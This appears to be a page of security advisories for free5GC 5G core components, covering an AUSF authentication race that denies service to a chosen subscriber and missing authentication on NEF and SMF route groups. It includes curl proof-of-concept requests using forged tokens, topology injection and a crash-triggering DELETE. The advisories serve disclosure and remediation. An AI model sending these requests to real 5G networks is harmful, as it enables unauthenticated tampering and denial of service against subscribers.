Where
-Infinity
0
Severity
7.5
Race Condition
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The AUSF component of free5GC stores per-subscriber authentication state in a global sync.Map keyed only by SUPI. Every incoming authentication request creates a new AusfUeContext and stores it under that SUPI key without checking whether an authentication procedure is already in progress and without generating a per-session unique identifier.

An attacker with access to the AUSF SBI/N12 interface can send concurrent POST /nausf-auth/v1/ue-authentications requests for the same target SUPI. Each request is accepted and overwrites the previous authentication context. A valid EAP-AKA' response for an earlier challenge is then verified against the latest overwritten context, whose Kaut, XRES, and EapID no longer match the challenge. The result is a targeted authentication denial of service for that SUPI while the request flood is maintained.

This issue was confirmed on github.com/free5gc/ausf v1.4.4 and current main as of June 2026.

Details

The vulnerable context pool is defined in internal/context/context.go.

UePool is a sync.Map, which makes individual map operations safe, but it does not make the authentication procedure state safe. The problem is the session design: the key is only the SUPI, and Store() unconditionally replaces any active context for that SUPI.

go type AUSFContext struct { suciSupiMap sync.Map UePool sync.Map // ... }

type AusfUeContext struct { Supi string // ...

// for EAP-AKA' Kaut string XRES string Rand string EapID uint8 Resynced bool }

func NewAusfUeContext(identifier string) (ausfUeContext AusfUeContext) { ausfUeContext = new(AusfUeContext) ausfUeContext.Supi = identifier return ausfUeContext }

func AddAusfUeContextToPool(ausfUeContext AusfUeContext) { ausfContext.UePool.Store(ausfUeContext.Supi, ausfUeContext) }

The vulnerable sequence is executed for every authentication request in internal/sbi/processor/ueauthentication.go:

go ueid := authInfoResult.Supi ausfUeContext := ausfcontext.NewAusfUeContext(ueid) ausfUeContext.ServingNetworkName = snName ausfUeContext.AuthStatus = models.AusfUeAuthenticationAuthResultONGOING ausfUeContext.UdmUeauUrl = udmUrl ausfcontext.AddAusfUeContextToPool(ausfUeContext)

There is no guard such as LoadOrStore, no AUTHENTICATIONINPROGRESS response, no rate limit per SUPI, and no unique authentication-session ID in the context URL. For EAP-AKA', the returned context URL is derived directly from the SUCI/SUPI path:

text /nausf-auth/v1/ue-authentications/{suci}/eap-session

All concurrent authentication attempts for the same subscriber therefore point to the same logical context URL, while the backing AusfUeContext in UePool is repeatedly replaced.

When the EAP response is later processed, the AUSF looks up the current context by SUPI:

go currentSupi := ausfcontext.GetSupiFromSuciSupiMap(eapSessionID) ausfCurrentContext := ausfcontext.GetAusfUeContext(currentSupi)

The EAP-AKA' response is then verified against the current context's Kaut and XRES:

go KautStr := ausfCurrentContext.Kaut XMAC := CalculateAtMAC(Kaut, decodeEapAkaPrimePkt.MACInput) MAC := decodeEapAkaPrimePkt.Attributes[ausfcontext.ATMACATTRIBUTE].Value XRES := ausfCurrentContext.XRES RES := hex.EncodeToString(decodeEapAkaPrimePkt.Attributes[ausfcontext.ATRESATTRIBUTE].Value)

if !bytes.Equal(MAC, XMAC) { eapOK = false eapErrStr = "EAP-AKA' integrity check fail" } else if XRES == RES { logger.AuthELog.Infoln("Correct RES value, EAP-AKA' auth succeed") // ... }

If another request has overwritten the context between challenge issuance and response processing, the legitimate response is checked against the wrong Kaut and fails the ATMAC verification.

Attack flow

The attack is selective for a target SUPI:

1. The legitimate procedure starts and the AUSF stores ctxLEGIT under UePool[targetsupi]. 2. The attacker sends many concurrent authentication requests for the same target SUCI/SUPI. 3. Each request obtains a new authentication vector and stores a new context under the same SUPI key. 4. ctxLEGIT is overwritten by ctxATTACK. 5. The legitimate EAP response, computed with KautLEGIT, reaches /eap-session. 6. The AUSF retrieves ctxATTACK by SUPI and computes XMAC with KautATTACK. 7. ATMAC verification fails and the AUSF returns an EAP-AKA' notification failure.

When later contexts carry different session material, a continuous flood prevents the target subscriber from completing authentication because the AUSF's stored context keeps changing before the response is processed.

PoC and evidence

The issue was reproduced in two phases in a controlled free5GC lab.

Phase 1: context overwrite

Experiment:

- 3 rounds of 8 concurrent POST /nausf-auth/v1/ue-authentications requests. - Same target SUCI: suci-0-001-01-0-0-0-0000000002. - AUSF listening on 0.0.0.0:8100; PoC connected to 127.0.0.1:8100.

Observed result:

- 24/24 requests returned HTTP 201. - 24 distinct EapIDs were issued:

text [131, 11, 157, 99, 182, 232, 127, 228, 119, 36, 104, 10, 107, 61, 66, 26, 110, 9, 210, 202, 53, 224, 237, 86]

- All responses used the same auth context URL:

text /nausf-auth/v1/ue-authentications/suci-0-001-01-0-0-0-0000000002/eap-session

- AUSF logs showed repeated context creation for the same SUCI/SUPI in a short interval:

text Add SuciSupiPair (suci-0-001-01-0-0-0-0000000002, imsi-001010000000002) to map. Use EAP-AKA' auth method | 201 | POST | /nausf-auth/v1/ue-authentications ...

This confirms that concurrent authentication requests for the same SUPI are accepted independently but collapse onto one shared context key.

Phase 2: valid EAP response fails after overwrite

The second PoC used a mock UDM with h2c support that returns different EAP-AKA' vectors by request counter for the same SUCI. This makes the overwrite directly observable:

| Request | Vector class | XRES | Effect | |---|---|---|---| | 1st | LEGIT | 0102030405060708 | response client computes ATMAC with KautLEGIT | | 2nd and later | ATTACK | deadbeefcafe0000 | flood overwrites AUSF context with KautATTACK |

Baseline without flood:

text POST /ue-authentications -> EapID=120, context with KautLEGIT stored

POST /eap-session with ATMAC(KautLEGIT) -> AUSF log: Correct RES value, EAP-AKA' auth succeed -> HTTP 200, EAP success

Race condition run:

text POST /ue-authentications -> EapID=243, context with KautLEGIT stored

20 concurrent POST /ue-authentications requests for the same SUCI -> 20/20 accepted -> KautATTACK overwrites KautLEGIT in UePool

POST /eap-session with ATMAC(KautLEGIT) -> AUSF validates against KautATTACK -> AUSF log: EAP-AKA' failure: EAP-AKA' integrity check fail -> HTTP 200, EAP notification failure

Critical AUSF log excerpt:

text Add SuciSupiPair (suci-0-001-01-0-0-0-0000000002, imsi-001010000000002) to map. ... repeated for the same SUCI/SUPI ... EapAuthComfirmRequest [WARN] EAP-AKA' failure: EAP-AKA' integrity check fail | 200 | 127.0.0.1 | POST | /nausf-auth/v1/ue-authentications/.../eap-session |

Baseline and attack logs are in the private evidence bundle:

text hallazgos/finding13-ausf-auth-race/evidencia/20260527-195933-race-condition-p2-final/

The final PoC uses a Python client that constructs a protocol-valid synthetic EAP-AKA' response from known vectors. It is not a full UERANSIM/AMF trace, and the P2 run uses a mock UDM returning distinct LEGIT/ATTACK vectors to make the overwrite observable. The synthetic response is sufficient to prove the AUSF state bug because the baseline succeeds with the same client and vectors, while the flood run fails at the exact ATMAC check predicted by the code.

Impact

The confirmed impact is targeted denial of authentication service for a chosen SUPI.

An attacker with access to the AUSF SBI/N12 interface can keep a subscriber from authenticating by continuously overwriting that subscriber's AUSF context. The AUSF process remains running; this is not a process crash and does not expose authentication material to the attacker. The availability impact is on the AUSF's primary security function for the targeted subscriber.

In the default free5GC deployment observed in the lab, the AUSF reported OAuth2 disabled and listened on 0.0.0.0:8100. In a production deployment with strict SBI isolation, mTLS, OAuth2, or firewalling, the attacker would need access to the internal SBA network or control of a network function that can send AUSF authentication requests.

Suggested remediation

The most robust fix is to stop using SUPI as the sole authentication-session key.

Recommended design:

1. Generate a unique session identifier for every authentication request. 2. Store the AusfUeContext under that session identifier. 3. Return the session identifier in the auth context URL. 4. On /eap-session or /5g-aka-confirmation, retrieve the exact session context by session ID rather than by SUPI.

Conceptual example:

go sessionID := uuid.New().String() ausfUeContext := ausfcontext.NewAusfUeContext(sessionID) ausfUeContext.Supi = ueid // populate context... ausfcontext.AddAusfUeContextToPool(ausfUeContext)

// Return: // /nausf-auth/v1/ue-authentications/{sessionID}/eap-session

If the intended behavior is to allow only one active authentication procedure per SUPI, use an atomic check-and-insert operation and reject concurrent attempts explicitly:

go if existing, loaded := ausfcontext.LoadOrStoreAusfUeContext(ueid, newCtx); loaded { if existing.AuthStatus == models.AusfUeAuthenticationAuthResultONGOING { c.JSON(http.StatusConflict, models.ProblemDetails{ Status: http.StatusConflict, Cause: "AUTHENTICATIONINPROGRESS", }) return } }

A mutex inside AusfUeContext alone is not sufficient if new requests are still allowed to replace the global map entry for the same SUPI.

Additional hardening:

- Apply per-SUPI rate limiting on POST /ue-authentications. - Enable and enforce OAuth2/mTLS for SBI access in deployments. - Add tests for concurrent authentication requests targeting the same SUPI.

Prior art / non-duplication note

Known related issues appear to be different:

- CVE-2026-33063 / GHSA-4jrw-92fg-4jwx affects free5GC AUSF, but concerns a nil interface conversion / DoS in GetSupiFromSuciSupiMap. It does not cover authentication context overwrite by concurrent requests. - CVE-2026-44318 affects free5GC BSF and concerns a different concurrency issue in a different NF. It does not cover AUSF UePool authentication state keyed by SUPI.

1 / 2
Source: GitHub
First published (updated )

An issue in the HandleGetSharedData function of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

An issue in the ModifyAMFEventSubscriptionProcedure function (processor/eventexposure.go) of free5gc v4.1.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted PATCH request.

First published (updated )
Null Pointer Dereference

A NULL pointer dereference in the CDR processing path of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying crafted payload.

First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

An issue in the NGAP handler of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted NAS PDU.

First published (updated )
Input Validation

Improper Input Validation in the HTTPModifySubscription handler of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )
Input Validation

Improper input validation in the buildFilter function (processor/processor.go) of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )
Input Validation

Improper input validation in the HandleUpdate function (/sbi/parameterprovision.go) of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )

An issue in the RechargePut function of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )

An issue in the complexQueryFilterSubprocess function in the NRF Discovery service of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )

An issue in the CreateUEContextProcedure function (/v1/ue-contexts/{supi}) of free5gc v4.1.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted PUT request.

First published (updated )
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

Summary free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not.

Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, but the entire nnef-pfdmanagement route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.

Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:56 - Read routes exposed at /applications and /applications/:appID: NFs/nef/internal/sbi/apipfdf.go:13 - Subscription routes exposed at /subscriptions and /subscriptions/:subID: NFs/nef/internal/sbi/apipfdf.go:13 - GET /applications queries UDR for application PFD data: NFs/nef/internal/sbi/processor/pfdf.go:19 - GET /applications/:appID queries UDR for an application PFD: NFs/nef/internal/sbi/processor/pfdf.go:53 - POST /subscriptions only checks notifyUri is present, then stores the subscription: NFs/nef/internal/sbi/processor/pfdf.go:83 - DELETE /subscriptions/:subID removes the subscription: NFs/nef/internal/sbi/processor/pfdf.go:110 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153

PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.

1. Seed an AF context (also forged-token): curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions

2. Seed one PFD application entry (also forged-token): curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions

3. READ PFD collection with forged token -> 200 OK returns PFD data: curl -i -H 'Authorization: Bearer not-a-real-token' \ 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'

4. READ individual PFD with forged token -> 200 OK: curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311

5. CREATE PFD subscription with forged token -> 201 Created: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions

6. DELETE PFD subscription with forged token -> 204 No Content: curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1

NEF container logs (docker logs nef) show requests reaching business handlers and returning success codes: [INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=... [INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/... [INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2] [INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions [INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1] [INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1

Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the nnef-pfdmanagement SBI route group. This is the production-intended PFD service for NEF (declared in the runtime ServiceList), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can: - Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF. - Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen notifyUri endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.

The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23

1 / 2
Source: GitHub
First published (updated )
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

Summary free5GC's SMF mounts the UPI management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit UPI endpoints with no Authorization header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (GET /upi/v1/upNodesLinks), write (POST /upi/v1/upNodesLinks with attacker-controlled UP-node and link payload), and delete (DELETE /upi/v1/upNodesLinks/{nodeID}) operations.

The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling nsmf-oam group on the same SMF instance shows OAM IS protected (no-token request returns 401 Unauthorized). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has.

Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/smf:v4.2.0 - Docker validation date: 2026-03-13

Control comparison on the same SMF instance: - GET /upi/v1/upNodesLinks (no token) -> 200 OK - GET /nsmf-oam/v1/ (no token) -> 401 Unauthorized

This side-by-side proves OAuth2 middleware is wired in for nsmf-oam but not for UPI on the same process.

Code evidence (paths in free5gc/smf): - UPI group mounted WITHOUT auth middleware: NFs/smf/internal/sbi/server.go:76 - OAM group mounted WITH auth middleware (control): NFs/smf/internal/sbi/server.go:95 - UPI business handlers (read / write / delete on upNodesLinks): - NFs/smf/internal/sbi/apiupi.go:44 - NFs/smf/internal/sbi/apiupi.go:60 - NFs/smf/internal/sbi/apiupi.go:84

PoC Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

1. READ UP-nodes/links with NO Authorization header -> 200 OK: curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks

2. WRITE: POST attacker-controlled UPF node and link with NO Authorization header -> 200 OK: curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}'

3. DELETE with FORGED token -> 404 Not Found from business logic (auth was bypassed; the 404 is a business response, not an auth rejection): curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \ -H 'Authorization: Bearer not-a-real-token'

4. CONTROL: same instance, sibling OAM route, no token -> 401 Unauthorized: curl -i http://10.100.200.6:8000/nsmf-oam/v1/

SMF container logs (docker logs smf) confirm the side-by-side behavior: [INFO][SMF][GIN] | 200 | GET | /upi/v1/upNodesLinks [INFO][SMF][GIN] | 401 | GET | /nsmf-oam/v1/ [INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313 [INFO][SMF][GIN] | 200 | POST | /upi/v1/upNodesLinks

Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF UPI SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries.

Any party that can reach SMF on the SBI can: - Read SMF's current UP-node and link topology view anonymously. - Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions. - Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic.

The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Summary free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as the broader UPI auth gap reported in free5gc/free5gc#887). On top of that, the DELETE /upi/v1/upNodesLinks/{upNodeRef} handler unconditionally dereferences upNode.UPF after the type-guarded async release, even though AN-typed nodes are constructed without a UPF object. As a result, a single unauthenticated DELETE /upi/v1/upNodesLinks/gNB1 request crashes the handler with a nil-pointer panic AND mutates the in-memory user-plane topology before panicking (the UpNodeDelete(upNodeRef) line runs first). This is an unauthenticated, state-mutating panic-DoS sink that an off-path network attacker can trigger by name against any AN entry.

Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/smf:v4.2.1 - Runtime SMF commit: 8385c00a - Docker validation date: 2026-03-22 local (container log timestamp 2026-03-21T23:43:17Z) - SMF endpoint: http://10.100.200.6:8000

Control comparison on the same SMF instance: - GET /nsmf-oam/v1/ (no token) -> 401 Unauthorized - DELETE /upi/v1/upNodesLinks/gNB1 (no token) -> 500 Internal Server Error (panic)

The sibling nsmf-oam returning 401 proves OAuth middleware IS wired in for other SMF route groups; the UPI group specifically is mounted without it.

Vulnerable handler logic (paths in free5gc/smf): go // NFs/smf/internal/sbi/apiupi.go:94..99 if upNode.Type == smfcontext.UPNODEUPF { go s.Processor().ReleaseAllResourcesOfUPF(upNode.UPF) } upi.UpNodeDelete(upNodeRef) upNode.UPF.CancelAssociation() // <-- panics for AN-typed nodes; nil UPF

The Type == UPNODEUPF guard only protects the asynchronous ReleaseAllResourcesOfUPF call. After that, UpNodeDelete(upNodeRef) runs unconditionally (so the topology mutation lands first), and then upNode.UPF.CancelAssociation() is called unconditionally on a UPF that is nil for AN nodes by construction.

Code evidence: - UPI group mounted WITHOUT auth middleware: - NFs/smf/internal/sbi/server.go:76 - NFs/smf/internal/sbi/server.go:78 - Protected control comparison (other SMF groups DO use auth): - NFs/smf/internal/sbi/server.go:99 - NFs/smf/internal/sbi/server.go:105 - Delete handler (panic site): - NFs/smf/internal/sbi/apiupi.go:94 - NFs/smf/internal/sbi/apiupi.go:99 - AN nodes are constructed without a UPF object (root cause of the nil deref): - NFs/smf/internal/context/userplaneinformation.go:95 - NFs/smf/internal/context/userplaneinformation.go:97

PoC Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

1. Control: protected sibling OAM route returns 401: curl -i http://10.100.200.6:8000/nsmf-oam/v1/ HTTP/1.1 401 Unauthorized

2. Trigger: unauthenticated DELETE on the default AN node gNB1: curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/gNB1 HTTP/1.1 500 Internal Server Error

3. SMF container logs (docker logs --tail 120 smf) show topology mutation landing BEFORE the panic, and the panic stack pointing at apiupi.go:99: [INFO][SMF][Init] UPNode [gNB1] found. Deleting it. [INFO][SMF][Init] Delete UPLink [UPF] <=> [gNB1]. [ERRO][SMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/smf/internal/sbi.(Server).DeleteUpNodeLink /go/src/free5gc/NFs/smf/internal/sbi/apiupi.go:99 +0x298 [INFO][SMF][GIN] | 500 | DELETE | /upi/v1/upNodesLinks/gNB1

The lab state was manually restored after validation by re-creating the AN entry; that POST is restoration-only and is NOT a mitigation.

Impact Three compounding defects on the same SMF SBI surface: 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group, so the trigger is reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no session, no UE state needed. The same-instance nsmf-oam returning 401 proves the middleware is wired in elsewhere and only missing on UPI. 2. NULL pointer dereference (CWE-476) in DeleteUpNodeLink: the Type == UPNODEUPF guard only covers the async release call, then upNode.UPF.CancelAssociation() runs unconditionally on AN-typed nodes that have a nil UPF field by construction. 3. Order of operations (CWE-755 / CWE-754): UpNodeDelete(upNodeRef) mutates the in-memory user-plane topology BEFORE the dereference panics, so the topology change lands even though the request returns 500. This makes the bug state-mutating, not just a plain panic.

Any party that can reach SMF on the SBI can: - Delete arbitrary named entries (e.g. gNB1) from SMF's in-memory user-plane topology anonymously via a single DELETE /upi/v1/upNodesLinks/{ref} request, denying SMF's ability to consider that AN/UPF in subsequent UPF selection / PFCP path establishment for legitimate UE sessions. - Trigger a panic on the SMF goroutine for the deleted-AN case, even though Gin recovers the goroutine, leaving the topology in the mutated state above. - Repeat the trigger by name against any AN entry, sustaining the topology denial without ever authenticating.

This is a strict superset of the impact in free5gc/free5gc#887 for this specific code path: same auth bypass, plus a concrete request-triggerable nil deref, plus state mutation that survives the panic.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/905 Upstream fix: https://github.com/free5gc/smf/pull/199

1 / 2
Source: GitHub
First published (updated )
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

Summary free5GC's NEF mounts the nnef-oam route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can hit the OAM route with no Authorization header at all and the handler returns 200 OK. The current OAM handler is a stub that returns null, but the structural defect is route-group-scoped: the entire OAM route group has no inbound auth middleware, so every future OAM operation added to this group inherits the missing auth boundary by default. Same root cause as the NEF traffic-influence and PFD-management findings.

Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, yet the OAM route group is mounted without any inbound auth middleware and answers unauthenticated GETs with 200 OK.

Code evidence (paths in free5gc/nef): - OAM route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:60 - OAM route exposed at /: NFs/nef/internal/sbi/apioam.go:9 - OAM processor returns 200 OK directly: NFs/nef/internal/sbi/processor/oam.go:9 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153

PoC Reproduced against the running NEF at http://10.100.200.19:8000 with no Authorization header:

curl -i http://10.100.200.19:8000/nnef-oam/v1/

Observed output: HTTP/1.1 200 OK null

NEF container logs (docker logs nef) show the request being served while OAuth is enabled: [INFO][NEF][GIN] | 200 | GET | /nnef-oam/v1/

Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF OAM SBI route group. Severity is scored against the OAM route group's intended capability surface (Operations / Administration / Maintenance), NOT against the current stub handler. The current handler is a stub that returns null, but the defect is route-group-scoped: there is no auth middleware on the group at all, so every future OAM operation added behind this group inherits the missing inbound auth boundary by default.

Any party that can reach NEF on the SBI can: - Probe and enumerate the OAM route surface anonymously today. - Hit any future OAM-group endpoint (read, modify, restart-style operations) anonymously, because the auth boundary does not exist for this group.

Operators who assume OAuth2 setting receive from NRF: true enforces inbound auth on NEF are wrong for this route group.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/861 Upstream fix: https://github.com/free5gc/nef/pull/23

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

Summary free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.

This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.

Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-traffic-influence route group is mounted and reachable with no inbound auth middleware.

Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:48 - CRUD routes exposed at /:afID/subscriptions and /:afID/subscriptions/:subID: NFs/nef/internal/sbi/apiti.go:13 - POST allocates AF/subscription state and writes traffic-influence data: NFs/nef/internal/sbi/processor/ti.go:50 - PATCH looks up and updates the subscription, then calls UDR/PCF: NFs/nef/internal/sbi/processor/ti.go:279 - DELETE looks up and removes the subscription: NFs/nef/internal/sbi/processor/ti.go:355 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126

PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000.

1. CREATE subscription with NO Authorization header at all -> 201 Created: curl -i \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions

2. CREATE second subscription with FORGED bearer token -> 201 Created: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions

